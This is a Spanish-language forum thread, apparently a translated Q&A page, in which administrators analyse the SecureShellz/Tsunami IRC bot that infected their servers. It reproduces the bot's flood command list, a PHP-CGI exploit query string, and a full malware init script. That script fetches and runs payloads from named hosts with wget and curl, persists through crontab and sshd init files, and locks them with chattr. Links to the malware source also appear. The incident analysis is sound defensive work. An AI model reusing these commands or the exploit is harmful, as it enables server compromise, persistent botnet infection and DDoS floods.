¿Es SecureShellz bot un virus? ¿Como funciona?

Envíe un correo electrónico a su administrador de sistemas (TIENE QUE ponerse en contacto con alguien que se encuentre por encima de usted) o envíelo directamente al CIO, si tiene que convencerlo, explique lo que encontró y adjunte esta parte del archivo llamado "ac", que debería bastar:

* There are a number of commands that can be sent to the client:              *
*       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command                    *
* Remember, all these commands must be prefixed by a ! and the nickname that  *
* you want the command to be sent to (can include wildcards). There are no    *
* spaces in between the ! and the nickname, and there are no spaces before    *
* the !                                                                       *
*                                                                             *
*                               - contem on efnet                             *

Aquí hay algunas referencias a este backdoor en particular:
- enlace
- enlace

No puedo encontrar ingeniería inversa de este malware, lo siento.

Un servidor del cual me han informado también ha sido infectado por esto. Parece que está inyectando su trabajo crontab a través de un script php subido a través de un cgi-bin/php exploit.

/cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input

No estoy muy seguro de cómo funciona, pero por lo que puedo decir, está ejecutando un script php desde la entrada del cliente, pero no pude replicarlo a través de netcat , tal vez esté haciendo algo mal allí.

Una vez que el script php haya creado el cronjob, el domingo (o cada vez que se inicie semanalmente) se conectará a C & C para obtener el script. Su servidor solicitó esta secuencia de comandos; afortunadamente, el servidor para el que me informaron no estaba infectado a tiempo para el C&C . Sin embargo, tal IP devuelta desde los registros parece estar ejecutando varios servicios.

Los interesantes son los siguientes. (He reportado la IP en projecthoneypot.org)

host          port  proto  name         state     info
----          ----  -----  ----         -----     ----
123.30.84.61  22    tcp    ssh          open      OpenSSH 4.3 protocol 2.0
123.30.84.61  111   tcp    rpcbind      open      2 RPC #100000
123.30.84.61  1098  tcp    rmiregistry  open      Java RMI
123.30.84.61  1099  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  3306  tcp    mysql        open      MySQL unauthorized
123.30.84.61  4445  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  8083  tcp    http         open      Bluecat Networks Proteus IPAM or Enterasys Dragon IDS http config

Por lo que podemos ver, ¿hay un IDS? Oracle VM manager con MySQL (no Oracle). El puerto 80 no está abierto, por lo tanto, la C & C está "fuera de línea".

Desde el sitio projecthoneypot.org , está claro que este atacante está intentando enviar correo no deseado viagra desde su IP. Puede que no lo sea, pero es probable que estén considerando que eso es lo que han hecho desde su propia IP. Sin embargo, con el Oracle VM manager allí, no estoy seguro de si se trata de un atacante directamente o de un host de máquina virtual desde el que el atacante está lixiviando. Esto podría significar que estos ataques no están relacionados con el viagra spam .

Gracias por la secuencia de comandos que envió en su pregunta, esto fue útil para verificar a través del servidor que inspeccioné que fue un éxito seguro porque el host no respondió el port 80 en ese momento. Afortunadamente en este caso.

Le sugiero que registre todo el tráfico en su servidor con una captura completa de paquetes, si su administrador de sistema no tiene el almacenamiento (rápidamente puede requerir mucho), hay servicios en la nube en línea para este propósito. Esto le permitiría a usted y al administrador del sistema ver qué sucede al asumir si un atacante ingresa a su servidor. También como sugerencia, proteja con contraseña o deshabilite cgi-bin , si es posible, he visto demasiadas vulnerabilidades a lo largo de los años dirigidas a scripts estándar allí.

¿Qué estás ejecutando en el servidor?

¿Qué le dicen los registros cuando busca "123.30.84.61" o "stablehost.us" ?

Debido a que el servidor que aloja estos archivos C está inactivo, si tiene una copia, ¿podría subir a algún lugar donde pueda recuperar estos?

NOTA: JUST noté después de escribir todo esto que son las noticias del año pasado ... Bueno, estoy seguro de que a otras personas les resultará útil.

Actualización: En cuanto a la respuesta aceptada, no tengo acceso a ese código, pero no tengo dudas de que este ataque se haya reiniciado de esta manera. No esperaría que el código fuera el mismo.

Incluso si la pregunta es bastante antigua y el ataque cambió, la fuente es la misma

Me ha afectado la nueva versión de este (y stablehost es la palabra clave de enlace aquí, aún aquí años después de que el OP solicitó), uno de los servidores que administré (endurecido por gentoo, configuración grsec fuerte) se ha visto comprometido, la mayoría probablemente por shellshock.

Para aquellos interesados, podría encontrar el código fuente:

perl, this one is an IRC bot : 
http://205.237.100.171/manual/pb
also on pastebin : http://pastebin.com/NN42LJ0z

C , this one will create the init script:
http://205.237.100.171/manual/a.c
also on pastebin : http://pastebin.com/8PgTjhyb

init code : 
http://205.237.100.171/manual/init
also on http://pastebin.com/HyUUfn6S

es un montón de código (bash, C, perl y python) y no copiaré todo aquí, pero el código básico es el de init, creado a partir del código C:

gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 'ps -aux|grep perl|awk {'print $2'}';

y otra versión (más evolucionada parece) de este init:

echo "nameserver 4.2.2.2" >> /etc/resolve.conf;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/rc.d/init.d/sshd;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/init.d/ssh;
wget http://205.237.100.171/manual/b -O /tmp/init;
wget http://205.237.100.171/manual/arm -O /tmp/arm;
wget http://205.237.100.171/manual/mipsel1 -O /tmp/mips
chmod +x /tmp/arm /tmp/init /tmp/mips
curl -o /tmp/init http://205.237.100.171/manual/b;
wget http://205.237.100.171/manual/a.c -O /tmp/a.c;
curl -o /tmp/a.c http://205.237.100.171/manual/a.c;
gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 'ps -aux|grep perl|awk {'print $2'}';

para esta reciente ola de ataques shellshock / tsunami / kaiten, vea también enlace para más explicaciones

editar: acabo de encontrar otra excelente explicación de cloudflare: enlace

vea también: enlace

el servidor que podría analizar se usó para una inundación de udp contra XXXX, mi firewall bloqueó una buena parte del ataque saliente, pero la mayoría de los udpflood podrían apagarse

Oct 23 08:05:36 myname kernel: Shorewall:all2all:REJECT:IN= OUT=eth0
SRC=me DST=target LEN=9244 TOS=0x00 PREC=0x00 T
TL=64 ID=15736 PROTO=UDP SPT=41912 DPT=61587 LEN=9224

es la parte del ataque saliente que podría bloquear con mi configuración saliente de shorewall, solo el centro de datos online.net tiene más información sobre el tipo de inundación que podría salir (no tengo registros de esos paquetes y en línea otorgó no tengo detalles) pasé mi firewall, no querían darme ningún detalle.